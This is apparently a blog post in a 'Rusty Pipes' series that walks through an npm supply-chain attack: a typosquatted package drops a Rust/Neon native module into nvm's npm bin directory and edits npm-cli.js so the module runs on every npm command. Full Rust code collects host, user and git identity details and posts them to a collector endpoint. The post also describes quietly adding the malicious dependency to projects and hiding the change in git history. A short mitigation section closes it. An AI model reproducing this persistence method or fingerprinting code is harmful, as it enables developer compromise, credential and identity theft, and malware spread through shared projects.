Rusty Pipes Exploit
This is the latest entry in the Rusty Pipes series. This time we are going to use Rust to inject malicious code into npm projects. And hijack your entire node runtime with just two simple steps.
Technically this relies on two different exploits. The first is the original rusty pipes exploit. And the second is the npm typosquatting.
The supply chain/typosquatting malicious package is partnered with the rust based node runtime pwnage. It is a classic npm malicious package. But instead of using a bash script to inject malicious code. We are going to use a compiled rust binary to directly inject our corrupt dependency to all of your projects via a compromised node installation. Which is a lot more stealthy and handled by rust.
The core of this exploit really relies on the trust that developers place in the npm ecosystem. And the fact that most developers don’t audit their dependencies. Which even if they did after the fact, they would have no way of knowing that their node runtime had been tampered with.
The Rust Code
Before a start a huge thanks and shoutout to the 1password team for open sourcing and teaching me the neon-rs crate. Which builds the core of the exploit. It allows for us create really powerful and efficient rust code for direct use within the node ecosysem. Usually, you build a index.node
file and can directly import from it. When I use this maliciously you will see a file called malware.node
.
// src/main.rs
fn hello(mut cx: FunctionContext) -> JsResult<JsString> {
Ok(cx.string("Hello, from a Rust Function"))
}
#[neon::main]
fn main(mut cx: ModuleContext) -> NeonResult<()> {
cx.export_function("hello", hello)?;
Ok(())
}
Wherein lets say you have a nice react function that wants to print some text. A simple use case we can expand on.
// HelloComponent.tsx
import React, { useEffect, useState } from 'react';
const rustModule = require('index.node');
const HelloComponent: React.FC = () => {
const [message, setMessage] = useState<string>('');
useEffect(() => {
setMessage(rustModule.hello());
}, []);
return (
<h1>{message}</h1>
);
};
export default HelloComponent;
Using Rust in Node
Integrating Rust code using Neon into React, CLI tools, or Tauri apps can provide significant benefits in specific scenarios. Let’s explore some practical examples for each: Please excuse the mixing of imports and requires here as it is just meant as a tool to show where things are coming from. One should also note that the usual method is to import a a placeholder called native for the rust this is due to a small js file that allows for the grabbing/running of the correct node binary file for a given system.
React Project
In a React application, you might use Neon-based Rust modules for:
-
Complex Data Processing: Imagine you’re building a data visualization app that needs to process large datasets client-side:
// DataProcessor.tsx import React, { useState, useEffect } from 'react'; const rustModule = require('index.node'); const DataProcessor: React.FC = () => { const [processedData, setProcessedData] = useState([]); useEffect(() => { const rawData = fetchLargeDataset(); const result = rustModule.processData(rawData); setProcessedData(result); }, []); return ( // Render visualization using processedData ); };
The Rust function
processData
could handle complex calculations much faster than JavaScript, improving the app’s responsiveness. -
Image Processing: For a photo editing app, you could offload heavy image processing tasks to Rust:
// ImageEditor.tsx const applyFilter = (imageData: ImageData, filterType: string) => { return rustModule.applyImageFilter(imageData.data, imageData.width, imageData.height, filterType); };
This approach would allow for real-time filter applications even on large images.
CLI Tool
For a CLI tool that needs more system access:
-
File System Operations: A file synchronization tool could use Rust for efficient file hashing and comparison:
// sync.ts import { Command } from 'commander'; const rustModule = require('index.node'); const program = new Command(); program .command('sync <source> <destination>') .action((source, destination) => { const changes = rustModule.compareDirectories(source, destination); // Process and apply changes }); program.parse(process.argv);
Rust’s performance would be particularly beneficial when dealing with large numbers of files.
-
Network Operations: For a network diagnostic tool, Rust could handle low-level socket operations:
// network-tool.ts const rustModule = require('index.node'); const runDiagnostics = async (host: string, port: number) => { const results = await rustModule.performNetworkTests(host, port); console.log(results); };
This setup allows for precise control over network operations while maintaining a user-friendly Node.js CLI interface.
Rust’s ability to interface directly with the OS can provide more detailed and efficient system monitoring capabilities.
These examples demonstrate how Rust can be integrated into various types of JavaScript/TypeScript projects to handle performance-critical, system-level, or security-sensitive operations, while still leveraging the strengths of the JavaScript ecosystem for the main application logic and UI.
Under the Hood
Now we need to peek under the hood of node. This example will follow a simple implementation that does not contain code caving techniques. Instead I will show you how the you can change one file in node folder. Using the very common node version manager tool.
In nvm
there is typically a versions directory called versions/node
here in my mac it is here:
/Users/dax/.nvm/versions/node
When I run a ls
command I get a list of all the node versions installed on the machine.
v12.18.0 v12.22.12 v14.17.0 v14.18.0 v14.21.3 v16.17.0 v16.20.0 v16.20.1 v16.20.2 v18.12.0 v18.12.1 v18.16.0 v18.16.1 v19.0.1 v20.16.0
Within each of these directories is a full node install looking something like this;
CHANGELOG.md LICENSE README.md bin include lib share
There are several places here I can make changes but the one I like the most is the npm section. By going to lib/node_modules/npm/bin
I can copy the malware.node
file to the directory so it looks like this.
pwd
/Users/dax/.nvm/versions/node/v18.16.1/lib/node_modules/npm/bin
---
ls
blankmal malware.node node-gyp-bin npm npm-cli.js npm.cmd npx npx-cli.js npx.cmd
And by modifying the npm-cli.js
file to have a new line
cat npm-cli.js
#!/usr/bin/env node
require('../lib/cli.js')(process)
# New malware import
require('./malware.node')
My malware will now run when any npm command is run on the machine. That means I can pwn your machine. I can inject any privilege escalation I want. I can fingerprint your device or runtime immediately. I can surreptitiously add deps to any project at any time is here some simple finger printing code that also steals your github and npm information due to the fact that I can run things like npm whoami
inline without you ever noticing. This means that when the malcious package hits an uninfected machine it will run the rust binary it has brought along to install itself in this directory in the manner I just explained.
Here is an example of all the info I can get from you without any privilege escalaction.
use chrono::Utc;
use neon::prelude::*;
use reqwest::blocking::Client;
use serde::{Deserialize, Serialize};
use std::env;
use std::fs;
use std::process::Command;
#[derive(Serialize, Deserialize, Debug)]
struct Fingerprint {
timestamp: String,
hostname: String,
os: String,
kernel_version: String,
cpu_info: String,
total_memory: u64,
used_memory: u64,
total_swap: u64,
used_swap: u64,
process_count: usize,
command: String,
environment: String,
runtime: String,
node_version: String,
npm_version: String,
git_email: String,
git_name: String,
current_user: String,
}
fn collect_fingerprint() -> Result<Fingerprint, String> {
Ok(Fingerprint {
timestamp: Utc::now().to_rfc3339(),
hostname: get_hostname(),
os: get_os(),
kernel_version: get_kernel_version(),
cpu_info: get_cpu_info(),
total_memory: get_total_memory(),
used_memory: get_used_memory(),
total_swap: get_total_swap(),
used_swap: get_used_swap(),
process_count: get_process_count(),
command: env::args().collect::<Vec<String>>().join(" "),
environment: infer_environment(),
runtime: "Node.js".to_string(),
node_version: get_command_output("node", &["-v"]),
npm_version: get_command_output("npm", &["-v"]),
git_email: get_command_output("git", &["config", "user.email"]),
git_name: get_command_output("git", &["config", "user.name"]),
current_user: get_current_user(),
})
}
fn get_hostname() -> String {
get_command_output("hostname", &[])
}
fn get_os() -> String {
if cfg!(target_os = "windows") {
"Windows".to_string()
} else if cfg!(target_os = "macos") {
"macOS".to_string()
} else if cfg!(target_os = "linux") {
"Linux".to_string()
} else {
"Unknown".to_string()
}
}
fn get_kernel_version() -> String {
if cfg!(target_os = "windows") {
get_command_output("ver", &[])
} else {
get_command_output("uname", &["-r"])
}
}
fn get_cpu_info() -> String {
if cfg!(target_os = "windows") {
get_command_output("wmic", &["cpu", "get", "name"])
} else if cfg!(target_os = "macos") {
get_command_output("sysctl", &["-n", "machdep.cpu.brand_string"])
} else {
fs::read_to_string("/proc/cpuinfo")
.map(|contents| {
contents
.lines()
.find(|line| line.starts_with("model name"))
.map(|line| line.split(':').nth(1).unwrap_or("").trim().to_string())
.unwrap_or_else(|| "Unknown".to_string())
})
.unwrap_or_else(|_| "Unknown".to_string())
}
}
fn get_total_memory() -> u64 {
if cfg!(target_os = "windows") {
get_command_output("wmic", &["computersystem", "get", "totalphysicalmemory"])
.parse()
.unwrap_or(0)
} else if cfg!(target_os = "macos") {
get_command_output("sysctl", &["-n", "hw.memsize"])
.parse()
.unwrap_or(0)
} else {
fs::read_to_string("/proc/meminfo")
.map(|contents| {
contents
.lines()
.find(|line| line.starts_with("MemTotal:"))
.and_then(|line| line.split_whitespace().nth(1))
.and_then(|value| value.parse::<u64>().ok())
.unwrap_or(0)
* 1024 // Convert from KB to bytes
})
.unwrap_or(0)
}
}
fn get_used_memory() -> u64 {
get_total_memory() - get_free_memory()
}
fn get_free_memory() -> u64 {
if cfg!(target_os = "windows") {
get_command_output("wmic", &["os", "get", "freephysicalmemory"])
.parse()
.unwrap_or(0)
* 1024 // Convert from KB to bytes
} else if cfg!(target_os = "macos") {
get_command_output("vm_stat", &[])
.lines()
.find(|line| line.starts_with("Pages free:"))
.and_then(|line| line.split_whitespace().nth(2))
.and_then(|value| value.parse::<u64>().ok())
.map(|pages| pages * 4096) // Assuming 4KB page size
.unwrap_or(0)
} else {
fs::read_to_string("/proc/meminfo")
.map(|contents| {
contents
.lines()
.find(|line| line.starts_with("MemFree:"))
.and_then(|line| line.split_whitespace().nth(1))
.and_then(|value| value.parse::<u64>().ok())
.unwrap_or(0)
* 1024 // Convert from KB to bytes
})
.unwrap_or(0)
}
}
fn get_total_swap() -> u64 {
if cfg!(target_os = "windows") {
get_command_output("wmic", &["pagefile", "get", "AllocatedBaseSize"])
.parse()
.unwrap_or(0)
* 1024
* 1024 // Convert from MB to bytes
} else if cfg!(target_os = "macos") {
get_command_output("sysctl", &["-n", "vm.swapusage"])
.split_whitespace()
.nth(1)
.and_then(|value| value.parse::<f64>().ok())
.map(|mb| (mb * 1024.0 * 1024.0) as u64)
.unwrap_or(0)
} else {
fs::read_to_string("/proc/meminfo")
.map(|contents| {
contents
.lines()
.find(|line| line.starts_with("SwapTotal:"))
.and_then(|line| line.split_whitespace().nth(1))
.and_then(|value| value.parse::<u64>().ok())
.unwrap_or(0)
* 1024 // Convert from KB to bytes
})
.unwrap_or(0)
}
}
fn get_used_swap() -> u64 {
get_total_swap() - get_free_swap()
}
fn get_free_swap() -> u64 {
if cfg!(target_os = "windows") {
0 // Windows doesn't provide an easy way to get free swap
} else if cfg!(target_os = "macos") {
get_command_output("sysctl", &["-n", "vm.swapusage"])
.split_whitespace()
.nth(5)
.and_then(|value| value.parse::<f64>().ok())
.map(|mb| (mb * 1024.0 * 1024.0) as u64)
.unwrap_or(0)
} else {
fs::read_to_string("/proc/meminfo")
.map(|contents| {
contents
.lines()
.find(|line| line.starts_with("SwapFree:"))
.and_then(|line| line.split_whitespace().nth(1))
.and_then(|value| value.parse::<u64>().ok())
.unwrap_or(0)
* 1024 // Convert from KB to bytes
})
.unwrap_or(0)
}
}
fn get_process_count() -> usize {
if cfg!(target_os = "windows") {
get_command_output("wmic", &["process", "get", "processid"])
.lines()
.count()
.saturating_sub(1) // Subtract header line
} else if cfg!(target_os = "macos") {
get_command_output("ps", &["-A"])
.lines()
.count()
.saturating_sub(1) // Subtract header line
} else {
fs::read_dir("/proc")
.map(|entries| {
entries
.filter_map(Result::ok)
.filter(|entry| entry.file_name().to_string_lossy().parse::<u32>().is_ok())
.count()
})
.unwrap_or(0)
}
}
fn get_current_user() -> String {
if cfg!(target_os = "windows") {
env::var("USERNAME").unwrap_or_else(|_| "Unknown".to_string())
} else {
env::var("USER").unwrap_or_else(|_| "Unknown".to_string())
}
}
fn send_fingerprint(fingerprint: &Fingerprint) -> Result<(), String> {
let client = Client::new();
client
.post("http://127.0.0.1:8000/fingerprint")
.json(fingerprint)
.send()
.map_err(|e| format!("Failed to send fingerprint: {}", e))?;
Ok(())
}
fn fingerprint_and_send(mut cx: FunctionContext) -> JsResult<JsUndefined> {
match collect_fingerprint() {
Ok(fingerprint) => match send_fingerprint(&fingerprint) {
Ok(_) => println!("Fingerprint sent successfully"),
Err(e) => eprintln!("Error sending fingerprint: {}", e),
},
Err(e) => eprintln!("Error collecting fingerprint: {}", e),
}
Ok(cx.undefined())
}
fn infer_environment() -> String {
if env::var("AWS_LAMBDA_FUNCTION_NAME").is_ok() {
"AWS Lambda".to_string()
} else if env::var("KUBERNETES_SERVICE_HOST").is_ok() {
"Kubernetes".to_string()
} else if env::var("DOCKER").is_ok() {
"Docker".to_string()
} else {
"Unknown".to_string()
}
}
fn get_command_output(command: &str, args: &[&str]) -> String {
match Command::new(command).args(args).output() {
Ok(output) => String::from_utf8_lossy(&output.stdout).trim().to_string(),
Err(_) => "Not available".to_string(),
}
}
fn hello(mut cx: FunctionContext) -> JsResult<JsString> {
Ok(cx.string("hello node"))
}
#[neon::main]
fn main(mut cx: ModuleContext) -> NeonResult<()> {
cx.export_function("fingerprintAndSend", fingerprint_and_send)?;
cx.export_function("hello", hello)?;
Ok(())
}
Now here is the fun part. I already said that I can now arbitrarily add and modify files to an existing project. So my fingerprint already knows what command you ran and what kind of project you are building. So it adds a new dependancy to your package.json
which is the malicious package. Meaning when you push your code all the other developers and deployments will get a copy of the malware. I can do this and even bypass the git tracking of the project and collapse it into a previous commit if I wanted to. You would never see the change until it was specifically looked for. I can even decide that if it is a react project I will rewrite your hrefs to my blog. Usually the best way to disguise this change is with a simple typosquatting technique to fool the non serious reader… the problem is that unless you explicitly make all your changes in the github UI you will likely pull down the branch and end up infecting yourself when you try to fix it.
That all being said you don’t need a highly obsfucated version of this in a compiled node/rust binary you can accomplish the same thing with vanilla javascript just follow same modifications to the node dir that I have laid out here.
Mitigation Strategies
The vulnerabilities described above highlight several critical security considerations for Node.js developers. Here are key defensive measures to consider:
Monitor Node Installation Directories
# Set up file system monitoring for Node directories
fswatch -o ~/.nvm/versions/node/*/lib/node_modules/npm/bin | while read f; do
echo "Change detected in npm bin directory: $f"
# Add notification or logging logic
done
Directory Integrity Checks
const crypto = require('crypto');
const fs = require('fs');
function validateNpmBinaries(npmPath: string) {
const expectedHashes = {
'npm-cli.js': 'expected-hash-here',
'npx-cli.js': 'expected-hash-here'
};
for (const [file, expectedHash] of Object.entries(expectedHashes)) {
const fileBuffer = fs.readFileSync(`${npmPath}/${file}`);
const hashSum = crypto.createHash('sha256');
const calculatedHash = hashSum.update(fileBuffer).digest('hex');
if (calculatedHash !== expectedHash) {
console.error(`Binary modification detected in ${file}`);
}
}
}
Trust But Verify
The npm ecosystem’s strength lies in its vast community and shared resources, but this trust model requires careful consideration:
-
Package Verification:
- Use
npm audit
regularly - Implement lockfile security checks
- Consider using tools like
dependency-check
for deep dependency analysis
- Use
-
Installation Safeguards:
- Use
--ignore-scripts
flag when possible - Implement checksums for critical node binaries
- Consider using containerized environments for package installations
- Use
-
Development Practices:
- Regularly audit your node installation directories
- Use version managers with integrity checking
- Implement git hooks to verify package.json changes
The reality is that the npm ecosystem’s convenience comes with inherent security risks. While complete security is impossible, understanding these vulnerabilities helps us build better defenses and maintain a more secure development environment.
Remember: Security isn’t just about preventing attacks—it’s about making them noticeable when they occur. Regular monitoring and verification of your development environment is just as important as the code you write.
Oh and if you have somehow contracted a version or variant of my nasty little malware. Just reinstall node cleanly.